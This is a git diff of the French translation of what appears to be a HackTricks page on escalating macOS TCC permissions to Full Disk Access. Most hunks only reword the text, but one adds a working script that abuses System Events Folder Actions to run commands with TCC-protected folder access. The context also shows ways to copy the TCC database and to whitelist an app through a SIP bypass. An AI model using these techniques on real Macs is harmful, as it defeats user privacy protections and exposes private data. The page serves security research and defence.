@ -336,16 +336,16 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
```
|
||||
</details>
|
||||
|
||||
### Automatisation pour FDA\*
|
||||
### Automatisation (Finder) vers FDA\*
|
||||
|
||||
Le nom TCC de la permission d'Automatisation est : **`kTCCServiceAppleEvents`**\
|
||||
Cette permission TCC spécifique indique également **l'application qui peut être gérée** dans la base de données TCC (donc les permissions ne permettent pas de tout gérer).
|
||||
|
||||
**Finder** est une application qui **a toujours FDA** (même si cela n'apparaît pas dans l'UI), donc si vous avez des privilèges **d'Automatisation** dessus, vous pouvez abuser de ses privilèges pour **lui faire exécuter certaines actions**.\
|
||||
**Finder** est une application qui **a toujours FDA** (même si cela n'apparaît pas dans l'interface utilisateur), donc si vous avez des privilèges d'**Automatisation** dessus, vous pouvez abuser de ses privilèges pour **lui faire exécuter certaines actions**.\
|
||||
Dans ce cas, votre application aurait besoin de la permission **`kTCCServiceAppleEvents`** sur **`com.apple.Finder`**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Vol de la TCC.db des utilisateurs" %}
|
||||
{% tab title="Vol de la base de données TCC.db de l'utilisateur" %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
|
@ -390,7 +390,7 @@ Avec cette permission, vous pourrez **demander à Finder d'accéder aux dossiers
|
|||
Par conséquent, vous ne pourrez pas abuser des pleines capacités FDA.
|
||||
{% endhint %}
|
||||
|
||||
Voici l'invite TCC pour obtenir des privilèges d'automatisation sur Finder :
|
||||
Ceci est l'invite TCC pour obtenir des privilèges d'automatisation sur Finder :
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -422,9 +422,52 @@ EOD
|
|||
```
|
||||
</details>
|
||||
|
||||
La même chose se produit avec **l'application Script Editor,** elle peut contrôler Finder, mais en utilisant un AppleScript, vous ne pouvez pas le forcer à exécuter un script.
|
||||
Il en va de même avec l'**application Script Editor,** elle peut contrôler Finder, mais en utilisant un AppleScript, vous ne pouvez pas le forcer à exécuter un script.
|
||||
|
||||
### Automatisation + Accessibilité (**`kTCCServicePostEvent`)** vers FDA\*
|
||||
### Automatisation (SE) vers certains TCC
|
||||
|
||||
System Events peut créer des actions de dossier, et les actions de dossier peuvent accéder à certains dossiers TCC, donc un script comme le suivant peut être utilisé pour abuser de ce comportement :
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
var app = Application.currentApplication();
|
||||
app.includeStandardAdditions = true;
|
||||
app.doShellScript("/Applications/iTerm.app/Contents/MacOS/iTerm2");
|
||||
EOD
|
||||
|
||||
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
|
||||
|
||||
# Create folder action with System Events in "$HOME/Desktop"
|
||||
osascript <<EOD
|
||||
tell application "System Events"
|
||||
-- Ensure Folder Actions are enabled
|
||||
set folder actions enabled to true
|
||||
|
||||
-- Define the path to the folder and the script
|
||||
set homeFolder to path to home folder as text
|
||||
set folderPath to homeFolder & "Desktop"
|
||||
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
|
||||
|
||||
-- Create or get the Folder Action for the Desktop
|
||||
if not (exists folder action folderPath) then
|
||||
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
|
||||
end if
|
||||
set myFolderAction to folder action folderPath
|
||||
|
||||
-- Attach the script to the Folder Action
|
||||
if not (exists script scriptPath of myFolderAction) then
|
||||
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
|
||||
end if
|
||||
|
||||
-- Enable the Folder Action and the script
|
||||
enable myFolderAction
|
||||
end tell
|
||||
EOD
|
||||
|
||||
# Open the folder, this won't be enough, but just getting out of it, or getting it is enough to trigger the folder action script
|
||||
open "$HOME/Desktop"
|
||||
```
|
||||
### Automatisation (SE) + Accessibilité (**`kTCCServicePostEvent`**) à FDA\*
|
||||
|
||||
L'automatisation sur **`System Events`** + Accessibilité (**`kTCCServicePostEvent`**) permet d'envoyer des **frappes de touches aux processus**. De cette manière, vous pourriez abuser de Finder pour modifier le TCC.db de l'utilisateur ou pour donner FDA à une application arbitraire (bien que le mot de passe puisse être demandé pour cela).
|
||||
|
||||
|
@ -480,11 +523,11 @@ Si vous avez **`kTCCServiceEndpointSecurityClient`**, vous avez FDA. Fin.
|
|||
|
||||
### Politique système SysAdmin File à FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** permet de **changer** l'attribut **`NFSHomeDirectory`** d'un utilisateur qui change son dossier personnel et permet donc de **contourner TCC**.
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** permet de **modifier** l'attribut **`NFSHomeDirectory`** d'un utilisateur qui change son dossier personnel et permet donc de **contourner TCC**.
|
||||
|
||||
### Base de données TCC utilisateur à FDA
|
||||
|
||||
Obtenir des **droits d'écriture** sur la base de données TCC de l'**utilisateur** ne vous permet **pas** de vous accorder les permissions **`FDA`**, seul celle qui réside dans la base de données système peut accorder cela.
|
||||
Obtenir des **droits d'écriture** sur la base de données TCC de l'utilisateur ne vous permet pas de vous accorder les permissions **`FDA`**, seule celle qui réside dans la base de données système peut accorder cela.
|
||||
|
||||
Mais vous pouvez vous donner les **droits d'`Automation à Finder`**, et abuser de la technique précédente pour escalader à FDA\*.
|
||||
|
||||
|
@ -504,7 +547,7 @@ La base de données TCC du système est protégée par **SIP**, c'est pourquoi s
|
|||
* MDMOverrides.plist
|
||||
|
||||
Cependant, il existe une autre option pour abuser de ce **contournement de SIP pour contourner TCC**, le fichier `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` est une liste d'autorisation d'applications qui nécessitent une exception TCC. Par conséquent, si un attaquant peut **retirer la protection SIP** de ce fichier et ajouter sa **propre application**, l'application pourra contourner TCC.\
|
||||
Par exemple pour ajouter le terminal :
|
||||
Par exemple pour ajouter terminal :
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
|
@ -554,7 +597,7 @@ AllowApplicationsList.plist :
|
|||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts** [**hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue